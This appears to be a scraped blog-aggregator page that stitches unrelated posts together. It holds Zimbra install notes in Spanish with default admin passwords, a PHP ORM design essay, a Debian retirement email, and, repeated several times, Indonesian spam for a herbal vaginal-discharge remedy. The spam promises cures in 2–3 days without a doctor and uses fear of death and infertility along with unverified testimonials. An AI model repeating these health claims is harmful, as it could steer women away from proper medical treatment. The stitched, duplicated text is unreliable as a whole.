$> service httpd stop
$> chkconfig httpd off
$> service iptables stop
$> service iptables save


instalar dependencias
$> yum install libstdc++.i686 nc sysstat file

Deshabilitar postfix
$> service postfix stop
$> chkconfig postfix off

Deshabilitar apache
$> service httpd stop
$> chkconfig httpd off
Descargar Zimbra Open Source Edition
$> wget http://files2.zimbra.com/downloads/8.0.6_GA/zcs-8.0.6_GA_5922.RHEL6_64.20131203103705.tgz
$> tar -zxvf zcs-8.0.6_GA_5922.RHEL6_64.20131203103705.tgz
$> cd zcs-8.0.6_GA_5922.RHEL6_64.20131203103705
Instalación de mailbox2.dominio.com$> ./install.sh --platform-override Do you agree with the terms of the software license agreement? [N] Y Select the packages to install  Install zimbra-ldap [Y] N Install zimbra-logger [Y] N   Install zimbra-mta [Y] N Install zimbra-snmp [Y] Y Install zimbra-store [Y] Y Install zimbra-apache [Y] Y Install zimbra-spell [Y] Y Install zimbra-memcached [N] N Install zimbra-proxy [N] N  This platform is CentOS5_64 Packages found: RHEL5_64 This may or may not work.  Using packages for a platform in which they were not designed for may result in an installation that is NOT usable. Your support options may be limited if you choose to continue.   Install anyway? [N] Y The system will be modified.  Continue? [N] Y Address unconfigured (**) items  (? - help) 1Select, or 'r' for previous menu [r] 2 Please enter the ldap server hostname: smtp.dominio.comSelect, or 'r' for previous menu [r] 4Password for ldap admin user (min 6 characters): alumnoSelect, or 'r' for previous menu [r] rAddress unconfigured (**) items  (? - help) 2 Select, or 'r' for previous menu [r] 4 Password for admin@dominio.com (min 6 characters): [W0oVBhou] alumno  Select, or 'r' for previous menu [r] 6  Please enter the SMTP server hostname: smtp.dominio.com Select, or 'r' for previous menu [r] r *** CONFIGURATION COMPLETE - press 'a' to apply Select from menu, or press 'a' to apply config (? - help) aSave configuration data to a file? [Yes] YesSave config in file: [/opt/zimbra/config.32536]  Saving config in /opt/zimbra/config.32536...done. The system will be modified - continue? [No] Yes  Actualizamos los keys $> su - zimbra $> zmupdateauthkeys  como root ejecutar$> /opt/zimbra/libexec/zmsyslogsetup $> /etc/init.d/rsyslog restart   Registramos en el SMTP Server el mailbox2 (smtp.dominio.com)---------------------------------------------------------------------------------
Ejecutar esto en el servidor smtp (192.168.10.2)
$> /opt/zimbra/bin/zmprov -m -l ms mailbox2.dominio.com zimbraMtaAuthHost mailbox2.dominio.com $> su - zimbra $> zmmtactl restart $> zmproxyctl restart $> zmupdateauthkeys Actualizamos los keys de mailbox1 ---------------------------------------------------------------------------------
Ejecutar esto en el servidor mailbox1 (192.168.10.3)
$> su - zimbra $> zmupdateauthkeys
Listo ahora solo pobramos el envío y recepción de correo de los nodos

Curso de Zimbra - Capítulo II (Instalación de Zimbra)


Mis manuales actualizados de Zimbra (2017)
https://cloudperu.pe/manuales/listado

Si Ud. desea llevar un curso de Zimbra; puede ver mi Curso en Aula Útil https://aulautil.com/curso/online/zimbra. Clases con Videoconferencia y asistencia en tiempo real con Anydesk. Incluye Gratis 2 Servidores VPS Cloud (Firewall UTM+Zimbra) + 1 IP pública y dominio real por alumno.

Instalación de Zimbra

Modificar el sudoers
$> vim /etc/sudoers

Comentar esta linea (aprox línea 55)
#Defaults    requiretty

ESC:wq!

instalar dependencias
$> yum install libstdc++.i686 libstdc++ nc sysstat file

Deshabilitar postfix
$> service postfix stop
$> chkconfig postfix off

Descomprimir el instalador de zimbra
$> su -
$> cd /root/Descargas

NetWork Edition
--------------------
$> tar -zxvf zcs-NETWORK-8.0.4_GA_XXXX.RHEL6_64.YYYYYYYYYYYYY.tgz
$> cd zcs-NETWORK-8.0.4_GA_XXXX.RHEL6_64.YYYYYYYYYYYYYYYYY

OpenSource Edition
------------------------------
$> tar -zxvf  zcs-8.0.4_GA_XXXX.RHEL6_64.YYYYYYYYYYYYYYYYYY.tgz
$> cd zcs-8.0.4_GA_XXXX.RHEL6_64.YYYYYYYYYYYYYYYY

Instalar zimbra
$> ./install.sh                     (RHEL)
$> ./install.sh --platform-override (CentOS)


Do you agree with the terms of the software license agreement? [N]Y    Enter

Install zimbra-ldap [Y] Y

Install zimbra-logger [Y] Y

Install zimbra-mta [Y] Y

Install zimbra-snmp [Y] Y

Install zimbra-store [Y] Y

Install zimbra-apache [Y] Y

Install zimbra-spell [Y] Y

Install zimbra-convertd [Y] Y    

Install zimbra-memcached [N] Enter     (Y si es instalacion multinodo)

Install zimbra-proxy [N] Enter         (Y si es instalacion multinodo)

Install zimbra-archiving [N] Y     (Network Edition)

The system will be modified.  Continue? [N] Y


Change domain name? [Yes] Yes
Create domain: [mail.dominio.com] dominio.com


--------------------------- Opciones del Menu 1 -------------------------
Address unconfigured (**) items  (? - help) 1

Select, or 'r' for previous menu [r] 4
Password for ldap admin user (min 6 characters): [TVwckVm4Y] passadmin
Select, or 'r' for previous menu [r] 6
Enter the number for the local timezone: [23] 11

Select, or 'r' for previous menu [r] r



-------------------------- Opciones del Menu 2 --------------------------
Address unconfigured (**) items  (? - help) 2

elect, or 'r' for previous menu [r] 4

Password for ldap root user (min 6 characters): [TVwckVm4Y] passadmin

Select, or 'r' for previous menu [r] 5

Password for ldap replication user (min 6 characters): [TVwckVm4Y] passadmin

Select, or 'r' for previous menu [r] 6

Password for ldap Postfix user (min 6 characters): [TVwckVm4Y] passadmin

Select, or 'r' for previous menu [r] 7

Password for ldap Amavis user (min 6 characters): [TVwckVm4Y] passadmin

Select, or 'r' for previous menu [r] 8

Password for ldap Nginx user (min 6 characters): [TVwckVm4Y] passadmin

Select, or 'r' for previous menu [r] 9

Password for ldap BES user (min 6 characters): [TVwckVm4Y] passadmin

Select, or 'r' for previous menu [r] r

--------------------------- Opciones del menu 3 ------------------------

Address unconfigured (**) items  (? - help) 3

Select, or 'r' for previous menu [r] 4

Password for admin@dominio1.com (min 6 characters): [gpLZfFUr] passadmin

Select, or 'r' for previous menu [r] 23   (Network Edition)

Enter the name of the file that contains the license: /root/Descargas/ZCSLicense.xml  (Network Edition)

Select, or 'r' for previous menu [r] r


---------------------------- Finalizamos la instalacion -----------------------
Select from menu, or press 'a' to apply config (? - help) a
Save configuration data to a file? [Yes] Yes
Save config in file: [/opt/zimbra/config.14717]   Enter
Saving config in /opt/zimbra/config.14717...done.
The system will be modified - continue? [No] Yes



---------------------------- REINSTALAR Si la instalacion fallo --------------------------

$> su -

Network Edition
$> cd /root/Descargas/zcs-NETWORK-8.0.4_GA_XXXX.RHEL6_64.YYYYYYYYYYYYY

OpenSource Edition
$> cd /root/Descargas/zcs-8.0.4_GA_XXXX.RHEL6_64.YYYYYYYYYYYY


Desinstalar Zimbra
$> ./install.sh -u
$> rm -fR /opt/zimbra
$> ./install.sh
-----------------------------------------------------------------------------------------


Acceder al zimbra instalado con el navegador
------------------------------------------

PANEL DE ADMINISTRACION
https://mail.dominio.com:7071

usuario: admin
clave:   passadmin

WEBMAIL
http://mail.dominio.com

usuario: admin
clave:   passadmin

**** Nota, si sale error de certificados
regenerar las keys del ssh
$> /opt/zimbra/libexec/zmfixperms

como usuario zimbra
$> su - zimbra
$> zmsshkeygen
$> zmupdateauthkeys

Jueves 04 de mayo de 2017

Oliver Etchebarne Bejarano

Oliver Etchebarne Bejarano
Melancolía al despertar

Nuevo ORM para Vendimia

No he tenido tiempo de escribir sobre mi framework de desarrollo web Vendimia. Y ahora he tenido una idea para mejorar su ORM. Por algo aún está versión alpha 😀 Así que let’s rubber ducking!.

El presente

Actualmente Vendimia tiene un ORM similar a Rails: una clase inicialmente vacía que extiende a Vendimia\ActiveRecord\Record, y las relaciones se definen creando variables estáticas $belongs_to, $has_one, y $has_many dentro de la clase modelo. En su primera versión le había creado varios métodos mágicos tipo Django como:

namespace products;

$products = models\product::find_where_name_contains("keyboard");

Lo que genera un SELECT `products_product`.* FROM `products_product` WHERE (`name` LIKE "%keyboard%");, y devuelve un objeto Vendimia\ActiveRecord\RecordSet con cada registro del resultado.

En la segunda iteración del ORM no le implementé dichos métodos mágicos, en parte por flojera, y en parte porque no son buenas prácticas de programación (los IDE no los identifican, pueden causar confusión, etc.). Tengo pensado crear un trait para selectivamente añadir a un modelo los métodos mágicos.

Actualmente no realiza validación de los valores de los campos. Vendimia no conoce los campos de la tabla (a pesar que si los conoce, lee más adelante), ni su tipo. Si añades una propiedad de la clase cuyo campo no existe en la db, será el SQL quien genere una excepción.

A mi no me molesta mucho eso, pues funciona bien. Pero en un momento surgió un proyecto web donde tuve que guardar una lista de idiomas por cada participante. Usualmente solo es un idioma, pero puede haber participantes con dos (o más). Y me pareció demasiado overkill tener una tabla para guardar los idiomas, en especial por que solo usa dos caracteres para cada idioma.

Al final usé un simple campo string, y al obtener un registro de participante, le hago un explode. Y pensé que sería bonito que Vendimia haga eso automágicamente, asi como otros tipos de conversión de datos desde la db (Los campos date a un objeto Vendimia\DateTime, por ejemplo). Para ello necesito que el modelo sepa el tipo de cada campo.

El problema

El problema es que Vendimia tiene una forma de crear y actualizar la estructura de la base de datos, ergo tiene información sobre los campos de un modelo. Una definición de una tabla tiene esta forma (guardada en un fichero apps/ventas/db/venta.php):

namespace ventas\db;

use Vendimia\Database\Tabledef;
use Vendimia\Database\Field;

class venta extends Tabledef
{
    var $fecha_creacion = Field::DateTime;

    var $tipo = [Field::FixChar, 1,
        'index' => true,
    ];

    var $serie = [Field::SmallInt,
        'index' => [
        'unique' => false,
        ]
    ];

    var $numero = [Field::Integer,
    'index' => [
        'unique' => false,
        ],
    ];
    // ...

Pero esta estructura la he creado completamente aislada del modelo, enfocada únicamente a la base de datos. A parte, los campos son simples constantes, que el motor de la base de dato lo convierte al nombre correspondiente para la base de datos.

El problema #2

Este es un problema pequeño: el concepto de ‘modelo es la base de datos’ en un sistema MVC que hizo popular Django y Rails está mal. Creo que un refactoring del ORM de Vendimia también presenta una oportunidad para colocarlo en otro lado, y las clases dentro de models serían los services y/o los domain objects de un MVC real. A mi parecer, esto sería suficiente separación.

El problema #3

Este problema se llama ‘PHP’. A pesar que sus objetos han mejorado bastante en los últimos años, y son más elaborados que los de Python o Ruby, aun le falta mucha de la flexibilidad de estos dos para implementar cosas interesantes.

Un punto en particular: PHP no tiene setter o getters bonitos como tiene Python (llamados Descriptors), para poder procesar la información que se guarda en cada propiedad a través de un objeto, sin recurrir a métodos mágicos (que es lo que actualmente hago, pero no para procesar, sólo para asignar). Ya hablamos sobre los problemas de los métodos mágicos, y también tengo la intención de liberarme de la mayoría de ellos.

Esto también trae el problema que no puedo definir el objeto que referencia al campo como una variable simple, por que al asignarle un valor después, simplemente se borraría el objeto. Y usar mutators y accessors como getName() no me parecen muy elegantes y/o simples (los dos pilares de Vendimia 😉 )

El futuro (con una solución)

Entonces, ahora el ORM de Vendimia estará en su propio namespace, distinto del modelo. El ORM también servirá para obtener los campos para crear la tabla en la base de datos. Usará annotations para definir los parámetros de cada campo. Un prototipo de declaración sería:

namespace products\orm;

use Vendimia\ORM;
use Vendimia\ORM\Record;

class product extends Record
{
/**
    * @V:ORM type ORM\Char 8
    */
    private $name;

    /**
    * @V:ORM type ORM\Char 32
    * @V:ORM index
    */
    private $barcode;

    /**
    * @V:ORM type ORM\Decimal 8, 2
    */
    private $price;

    /**
    * @V:ORM type ORM\Boolean
    * @V:ORM default `True`
    */
    private $tax_affected;

    /**
    * @V:ORM type ORM\Array
    * @V:ORM valid_values "PCIE", "USB<2", "FM2"
    */
    private $requires;

    /**
    * @V:ORM type ORM\DateTime
    */
    private $create_at;

}

De esta forma, los campos estarán disponibles para autocompletación de las IDEs, para validad los valores que se coloquen desde el código, para formatearlos correctamente cuando vayan o venga desde o hacia la base de datos, y para crear la estructura de la tabla en ella.

El declarar los campos ‘private‘ depende de si al final sigo usando métodos mágicos, o no.

Pros de usar métodos mágicos:

  • Puedo hacer lazy evaluation, y sólo ejecutar el query cuando se intenta acceder a una propiedad (como funciona hoy). De no usarlos, habría que explícitamente solicitar la obtención de los valores de la base de datos, quizás ejecutando un .fetch() al final de la cadena de métodos de consulta.
  • Puedo grabar sólo los campos que han sido modificados. No estoy seguro si eso tiene una ventaja de velocidad, pero en el log de la DB se ve más elegante 🙂
  • Puedo validar en ese instante el valor que se asigna a una variable.
  • Puedo ejecutar setters personalizados al colocar un valor.

Contras de usar métodos mágicos

  • Para que funcionen, las propiedades deben ser inaccesibles, por lo que tendría que declararlas como private (como en el ejemplo). Pero si modificas una propiedad en un método dentro de la clase, no se ejecutarán los getters y setters de dicha propiedad.

Por ahora, creo que lo implementaré los getters y setters con métodos mágicos y quzas un método para usarlo dentro de la clase misma.

El tag @V:ORM es el trigger que usará el parser para analizar la annotation y sacar los valores que anteriormente se almacenaban directamente en un array. Será necesario guardar una cache del array generado.

Un problema de esta aproximación es que el elemento ‘type’ debe ser una clase que implemente una interface definida. El problema viene en la resolución del FQCN del mismo, tomando en cuenta el namespace actual, y los aliases definidos con use. El keyword ::class sólo funciona en tiempo de compilación y con nombres de clases (aunque no existan). No existe una función similar para obtener el FQCN de un string en tiempo de ejecución, y no veo una forma de poder implementarlo.

Para solventar ello, se me ocurre buscar una clase dentro de un lugar fijo en Vendimia si el nombre de la clase empieza con ORM\ (ignorando el alias), y usar una clase particular si el nombre empieza con un \.

¿Comentarios? ¿Sugerencias?

Martes 21 de febrero de 2017

Oliver Etchebarne Bejarano

Oliver Etchebarne Bejarano
Melancolía al despertar

Stranger Corridor

Jugando con Blender y mi nueva GPU, probando un poco de suciedad en la lente entre otras cosas, mientras miraba sin parar Stranger Things 🙂

Domingo 08 de enero de 2017

David Moreno

David Moreno
dm's blog

Thanks Debian

I sent this email to debian-private a few days ago, on the 10th anniversary of my Debian account creation:

Date: Fri, 14 Aug 2015 19:37:20 +0200
From: David Moreno 
To: debian-private@lists.debian.org
Subject: Retiring from Debian
User-Agent: Mutt/1.5.23 (2014-03-12)

[-- PGP output follows (current time: Sun 23 Aug 2015 06:18:36 PM CEST) --]
gpg: Signature made Fri 14 Aug 2015 07:37:20 PM CEST using RSA key ID 4DADEC2F
gpg: Good signature from "David Moreno "
gpg:                 aka "David Moreno "
gpg:                 aka "David Moreno (1984-08-08) "
[-- End of PGP output --]

[-- The following data is signed --]

Hi,

Ten years ago today (2005-08-14) my account was created:

https://nm.debian.org/public/person/damog

Today, I don't feel like Debian represents me and neither do I represent the
project anymore.

I had tried over the last couple of years to retake my involvement but lack of
motivation and time always got on the way, so the right thing to do for me is
to officially retire and gtfo.

I certainly learned a bunch from dozens of Debian people over these many years,
and I'm nothing but grateful with all of them; I will for sure carry the project
close to my heart — as I carry it with the Debian swirl I still have tattooed
on my back ;)

http://damog.net/blog/2005/06/29/debian-tattoo/

I have three packages left that have not been updated in forever and you can
consider orphaned now: gcolor2, libperl6-say-perl and libxml-treepp-perl.

With all best wishes,
David Moreno.
http://damog.net/


[-- End of signed data --]

I received a couple of questions about my decision here. I basically don’t feel like Debian represents my interests and neither do I represent the project – this doesn’t mean I don’t believe in free software, to the contrary. I think some of the best software advancements we’ve made as society are thanks to it. I don’t necessarily believe on how the project has evolved itself, whether that has been the right way, to regain relevancy and dominance, and if it’s remained primarily a way to feed dogmatism versus pragmatism. This is the perfect example of a tragic consequence. I was very happy to learn that the current Debian Conference being held in Germany got the highest attendance ever, hopefully that can be utilized in a significant and useful way.

Regardless, my contributions to Debian were never noteworthy so it’s also not that big of a deal. I just need to close cycles myself and move forward, and the ten year anniversary looked like a significant mark for that.

Poke me in case you wanna discuss some more. I’ll always be happy to. Specially over beer :)

Peace.

Domingo 25 de diciembre de 2016

obat herbal keputihan tanpa efek samping

obat keputihan
obat herbal keputihan tanpa efek samping -
Masalah keputihan adalah masalah yang sejak lama menjadi persoalan bagi kaum wanita. Tidak banyak wanita yang tahu apa itu keputihan dan terkadang menganggap enteng persoalan keputihan pada wanita ini. Padahal keputihan tidak bisa dianggap enteng, karena akibat dari keputihan ini bisa sangat fatal bila lambat ditangani. Tidak hanya bisa mengakibatkan kemandulan dan hamil diluar kandungan, keputihan juga bisa merupakan gejala awal dari kanker leher rahim, yang bisa berujung pada kematian. Apa sebenarnya keputihan itu? Seperti apa ciri-cirinya? Dan bagaimana pencegahannya - Obat Keputihan

Keputihan (flour albus) adalah cairan yang berlebihan yang keluar dari vagina. Keputihan bisa bersifat fisiologis (dalam keadaan normal) namun bisa juga bersifat patologis (karena penyakit). Dan keputihan tidak mengenal batasan usia. Berapa pun usia seorang wanita, bisa terkena keputihan - Cara Mengobati Keputihan

Keputihan sebaiknya diobati sejak dini, begitu timbul gejala. Karena keputihan kalau sudah kronis dan berlangsung lama akan lebih susah diobati. Selain itu kalau keputihan yang dibiarkan bisa merembet ke rongga rahim kemudian kesaluran indung telur dan sampai ke indung telur dan akhirnya ke dalam rongga panggul. Tidak jarang wanita yang menderita keputihan yang kronis (bertahun-tahun) bisa menjadi mandul bahkan bisa berakibat kematian. �Berakibat kematian karena bisa mengakibatkan terjadinya kehamilan di luar kandungan. Kehamilan di luar kandungan, terjadi pendarahan, mengakibatkan kematian pada ibu-ibu. Selain itu yang harus diwaspadai, keputihan adalah gejala awal dari kanker mulut rahim. Jadi jangan sampai terlambat untuk tahu apa yang menjadi penyebab keputihan. Yang pasti jangan anggap remeh keputihan. Supaya kamu tidak menyesal di belakang hari nanti, karena akibat yang ditimbulkan oleh penyakit keputihan ini

2 Jenis Keputihan

Keputihan Fisiologis
Adalah keputihan yang umum terjadi pada wanita pada semua usia, Biasanya terjadi pada masa subur, juga sebelum dan sesudah menstruasi. Kadang saat itu ada lendir yang berlebihan, itu normal. Dan biasanya tidak gatal dan tidak berbau.

Keputihan Patologis
Adalah keputihan yang terjadi karena infeksi pada vagina, adanya benda asing dalam vagina atau karena keganasan. Infeksi bisa sebagai akibat dari bakteri, jamur atau protozoa. Ciri-ciri keputihan patologis , warnanya tidak seperti lendir. �Keputihan patologis biasanya, warnanya seperti kepala susu, atau hijau kekuning-kuningan, atau bahkan bercampur darah, kalau keputihannya sudah menjadi penyakit. Ketika keputihan sudah menjadi penyakit, wanita yang menderita keputihan patologis ini akan merasa gatal pada daerah vagina, dan lendir yang keluar berbau, sehingga menimbulkan rasa yang tidak nyaman
Yang perlu di perhatikan mengenai keputihan ini adalah :
  • Cara membilas vagina yang benar, setelah habis buang air besar atau air kecil, sebaiknya membilas vagina dari arah depan ke belakang ke arah anus.
  • Keputihan fisiologis (normal), ciri-cirinya, lendirnya seperti lendir bening. Tidak gatal dan tidak berbau.
  • Keputihan patologis (karena penyakit), ciri-cirinya, warna lendirnya tidak bening lagi tetapi putih seperti kepala susu, bisa kuning kehijauan atau kecoklatan, bahkan bisa kemerahan karena adanya darah. Biasanya disertai rasa gatal, dan ada bau yang menyertainya.
Penyebab Keputihan Patologis :
  • Infeksi yang di akibatkan oleh bakteri, jamur, atau protozoa
  • Keganasan kanker leher rahim
  • Benda asing didalam vagina ( misalnya : kondom yang tertinggal)
Cara Mencegah Keputihan :
  • Menjaga kebersihan daerah vagina
  • Membilas vagina dengan cara yang benar
  • Jangan suka tukar-tukaran celana dalam menggunakan celana dalam bersama dengan teman wanita lainnya
  • Jangan menggunakan handuk bersamaan ( suka tukar-tukaran handuk )
  • Lebih berhati � hati dalam menggunakan sarana toilet umum
  • Jalani Pola hidup sehat, cukup tidur, olah raga teratur, makan makanan dengan gizi yang seimbang
  • Hindari gonta ganti pasangan dalam berhubungan
  • Bagi wanita yang sudah melakukan hubungan suami isteri, setiap tahun harus melakukan papsmear untuk mendeteksi perangai sel-sel yang ada di mulut dan leher rahim
 Obat Keputihan Alami - Obat Keputihan Herbal - Obat Keputihan Ampuh - Obat Keputihan Manjur

Untuk pencegahan dan pengobatan gunakan obat herbal alami dari De Nature yang sudah terbukti berkhasiat mengobati keputihan pada wanita, merapatkan kembali oragan kewanitaan pada daerah kewanitaan anda


Testimoni Asli Dari Pasien Kami Tanpa Sedikitpun di Manipulasi

082 137 651 xxx (maaf, nama di rahasiakan) Teman saya pernah terkena penyakit keputihan , sangat mengerikan, bau dan pokoknya tersiksa sekali. Tapi setelah minum obat dari De Nature Indonesia, dalam waktu 2 hari sudah banyak perubahan. Mantap banget

081 548 663 xxx (sms pasien kami dari Bekasi) Pagi mba, terimakasih banyak. Obat keputihan yang saya beli kemarin emang bagus, teman saya dari Jakarta juga mau beli. Sekali lagi terimakasih

085 247 210 xxx (sms pasien kami dari Sampit) Alhamdulillah, sekarang saya sudah sehat mas dari penyakit keputihan, saya juga tambah disayang suami, he he he. Saya menawarkan ke teman dan mau beli 4 paket ke Kal-teng. Terima kasih sis

testimoni

KELEBIHAN BELANJA ONLINE PADA KAMI
  • Setiap penyakit berbeda obatnya, jd obat kami khusus untuk penyakit itu sendiri!
  • Harga lebih murah
  • Kualitas terbaik
  • Tanpa perlu pergi ke dokter (tidak malu saat ke dokter, hemat waktu, dll)
  • Tidak perlu disuntik
  • Masa penyembuhannya singkat Proses obat hanya 2 � 3 hari
  • Barang dikirim ke alamat rumah Anda via TIKI, JNE kilat, dibungkus rapi. DanRAHASIA DIJAMIN.
  • Proses pengiriman cepat dan aman
  • Botol obat sengaja kami buat polos agar tidak ada yang tahu isinya apa, privasi Anda lebih terjamin.
  • Hanya kami yang selalu mengutamakan ke puasan konsumen
cara pemesanan

rekening_klinik_de_nature

SEGERA HUBUNGI KAMI
Untuk Pengobatan Cepat, Tepat, dan Aman
Sebelum Penyakit Anda Bertambah Parah dan
BERBAHAYA
Telp. SMS. WA 0823 2698 7979 || 0856 4238 2002
BBM 5E77AC16
De Nature Indonesia
Jln. Raya Pahonjean
Perum Cendana Asri No. 08-09
Majenang Cilacap 53257
Jawa Tengah

Obat Keputihan,Obat Keputihan Alami,Obat Keputihan Herbal,Cara Mengobati Keputihan,Cara Mengatasi Keputihan,Pengobatan Keputihan,Obat Keputihan Ampuh,Obat Keputihan Manjur,Obat Keputihan Untuk Ibu Hamil,Obat Keputihan Gatal

obat keputihan alami tanpa efek samping

obat keputihan gatal
obat keputihan alami tanpa efek samping -
Obat keputihan herbal manjur yang terbuat dari bahan alami ampuh untuk mencegah dan mengobati penyakit keputihan, membuat Miss V menjadi keset, rapet yang membuat anda makin disayang suami�..

2 Jenis Keputihan

Keputihan Fisiologis
Adalah keputihan yang umum terjadi pada wanita pada semua usia, Biasanya terjadi pada masa subur, juga sebelum dan sesudah menstruasi. Kadang saat itu ada lendir yang berlebihan, itu normal. Dan biasanya tidak gatal dan tidak berbau.

Keputihan Patologis
Adalah keputihan yang terjadi karena infeksi pada vagina, adanya benda asing dalam vagina atau karena keganasan. Infeksi bisa sebagai akibat dari bakteri, jamur atau protozoa. Ciri-ciri keputihan patologis , warnanya tidak seperti lendir. �Keputihan patologis biasanya, warnanya seperti kepala susu, atau hijau kekuning-kuningan, atau bahkan bercampur darah, kalau keputihannya sudah menjadi penyakit. Ketika keputihan sudah menjadi penyakit, wanita yang menderita keputihan patologis ini akan merasa gatal pada daerah vagina, dan lendir yang keluar berbau, sehingga menimbulkan rasa yang tidak nyaman


Keputihan sebaiknya diobati sejak dini, begitu timbul gejala. Karena keputihan kalau sudah kronis dan berlangsung lama akan lebih susah diobati. Selain itu kalau keputihan yang dibiarkan bisa merembet ke rongga rahim kemudian kesaluran indung telur dan sampai ke indung telur dan akhirnya ke dalam rongga panggul. Tidak jarang wanita yang menderita keputihan yang kronis (bertahun-tahun) bisa menjadi mandul bahkan bisa berakibat kematian. �Berakibat kematian karena bisa mengakibatkan terjadinya kehamilan di luar kandungan. Kehamilan di luar kandungan, terjadi pendarahan, mengakibatkan kematian pada ibu-ibu. Selain itu yang harus diwaspadai, keputihan adalah gejala awal dari kanker mulut rahim. Jadi jangan sampai terlambat untuk tahu apa yang menjadi penyebab keputihan. Yang pasti jangan anggap remeh keputihan. Supaya kamu tidak menyesal di belakang hari nanti, karena akibat yang ditimbulkan oleh penyakit keputihan ini

Masalah keputihan adalah masalah yang sejak lama menjadi persoalan bagi kaum wanita. Tidak banyak wanita yang tahu apa itu keputihan dan terkadang menganggap enteng persoalan keputihan pada wanita ini. Padahal keputihan tidak bisa dianggap enteng, karena akibat dari keputihan ini bisa sangat fatal bila lambat ditangani. Tidak hanya bisa mengakibatkan kemandulan dan hamil diluar kandungan, keputihan juga bisa merupakan gejala awal dari kanker leher rahim, yang bisa berujung pada kematian. Apa sebenarnya keputihan itu? Seperti apa ciri-cirinya? Dan bagaimana pencegahannya - Obat Keputihan

Keputihan (flour albus) adalah cairan yang berlebihan yang keluar dari vagina. Keputihan bisa bersifat fisiologis (dalam keadaan normal) namun bisa juga bersifat patologis (karena penyakit). Dan keputihan tidak mengenal batasan usia. Berapa pun usia seorang wanita, bisa terkena keputihan - Cara Mengobati Keputihan

Yang perlu di perhatikan mengenai keputihan ini adalah :
  • Cara membilas vagina yang benar, setelah habis buang air besar atau air kecil, sebaiknya membilas vagina dari arah depan ke belakang ke arah anus.
  • Keputihan fisiologis (normal), ciri-cirinya, lendirnya seperti lendir bening. Tidak gatal dan tidak berbau.
  • Keputihan patologis (karena penyakit), ciri-cirinya, warna lendirnya tidak bening lagi tetapi putih seperti kepala susu, bisa kuning kehijauan atau kecoklatan, bahkan bisa kemerahan karena adanya darah. Biasanya disertai rasa gatal, dan ada bau yang menyertainya.
Penyebab Keputihan Patologis :
  • Infeksi yang di akibatkan oleh bakteri, jamur, atau protozoa
  • Keganasan kanker leher rahim
  • Benda asing didalam vagina ( misalnya : kondom yang tertinggal)
Cara Mencegah Keputihan :
  • Menjaga kebersihan daerah vagina
  • Membilas vagina dengan cara yang benar
  • Jangan suka tukar-tukaran celana dalam menggunakan celana dalam bersama dengan teman wanita lainnya
  • Jangan menggunakan handuk bersamaan ( suka tukar-tukaran handuk )
  • Lebih berhati � hati dalam menggunakan sarana toilet umum
  • Jalani Pola hidup sehat, cukup tidur, olah raga teratur, makan makanan dengan gizi yang seimbang
  • Hindari gonta ganti pasangan dalam berhubungan
  • Bagi wanita yang sudah melakukan hubungan suami isteri, setiap tahun harus melakukan papsmear untuk mendeteksi perangai sel-sel yang ada di mulut dan leher rahim
 Obat Keputihan Alami - Obat Keputihan Herbal - Obat Keputihan Ampuh - Obat Keputihan


Untuk pencegahan dan pengobatan gunakan obat herbal alami dari De Nature yang sudah terbukti berkhasiat mengobati keputihan pada wanita, merapatkan kembali oragan kewanitaan pada daerah kewanitaan anda


Testimoni Asli Dari Pasien Kami Tanpa Sedikitpun di Manipulasi

082 137 651 xxx (maaf, nama di rahasiakan) Teman saya pernah terkena penyakit keputihan , sangat mengerikan, bau dan pokoknya tersiksa sekali. Tapi setelah minum obat dari De Nature Indonesia, dalam waktu 2 hari sudah banyak perubahan. Mantap banget

081 548 663 xxx (sms pasien kami dari Bekasi) Pagi mba, terimakasih banyak. Obat keputihan yang saya beli kemarin emang bagus, teman saya dari Jakarta juga mau beli. Sekali lagi terimakasih

085 247 210 xxx (sms pasien kami dari Sampit) Alhamdulillah, sekarang saya sudah sehat mas dari penyakit keputihan, saya juga tambah disayang suami, he he he. Saya menawarkan ke teman dan mau beli 4 paket ke Kal-teng. Terima kasih sis

testimoni

KELEBIHAN BELANJA ONLINE PADA KAMI
  • Setiap penyakit berbeda obatnya, jd obat kami khusus untuk penyakit itu sendiri!
  • Harga lebih murah
  • Kualitas terbaik
  • Tanpa perlu pergi ke dokter (tidak malu saat ke dokter, hemat waktu, dll)
  • Tidak perlu disuntik
  • Masa penyembuhannya singkat Proses obat hanya 2 � 3 hari
  • Barang dikirim ke alamat rumah Anda via TIKI, JNE kilat, dibungkus rapi. DanRAHASIA DIJAMIN.
  • Proses pengiriman cepat dan aman
  • Botol obat sengaja kami buat polos agar tidak ada yang tahu isinya apa, privasi Anda lebih terjamin.
  • Hanya kami yang selalu mengutamakan ke puasan konsumen
cara pemesanan

rekening_klinik_de_nature

SEGERA HUBUNGI KAMI
Untuk Pengobatan Cepat, Tepat, dan Aman
Sebelum Penyakit Anda Bertambah Parah dan
BERBAHAYA
Telp. SMS. WA 0823 2698 7979 || 0856 4238 2002
BBM 5E77AC16
De Nature Indonesia
Jln. Raya Pahonjean
Perum Cendana Asri No. 08-09
Majenang Cilacap 53257
Jawa Tengah

Obat Keputihan,Obat Keputihan Alami,Obat Keputihan Herbal,Cara Mengobati Keputihan,Cara Mengatasi Keputihan,Pengobatan Keputihan,Obat Keputihan Ampuh,Obat Keputihan Manjur,Obat Keputihan Untuk Ibu Hamil,Obat Keputihan Gatal

obat keputihan disertai gatal

obat keputihan herbal
obat keputihan disertai gatal -
Masalah keputihan adalah masalah yang sejak lama menjadi persoalan bagi kaum wanita. Tidak banyak wanita yang tahu apa itu keputihan dan terkadang menganggap enteng persoalan keputihan pada wanita ini. Padahal keputihan tidak bisa dianggap enteng, karena akibat dari keputihan ini bisa sangat fatal bila lambat ditangani. Tidak hanya bisa mengakibatkan kemandulan dan hamil diluar kandungan, keputihan juga bisa merupakan gejala awal dari kanker leher rahim, yang bisa berujung pada kematian. Apa sebenarnya keputihan itu? Seperti apa ciri-cirinya? Dan bagaimana pencegahannya - Obat Keputihan

Keputihan (flour albus) adalah cairan yang berlebihan yang keluar dari vagina. Keputihan bisa bersifat fisiologis (dalam keadaan normal) namun bisa juga bersifat patologis (karena penyakit). Dan keputihan tidak mengenal batasan usia. Berapa pun usia seorang wanita, bisa terkena keputihan - Cara Mengobati Keputihan

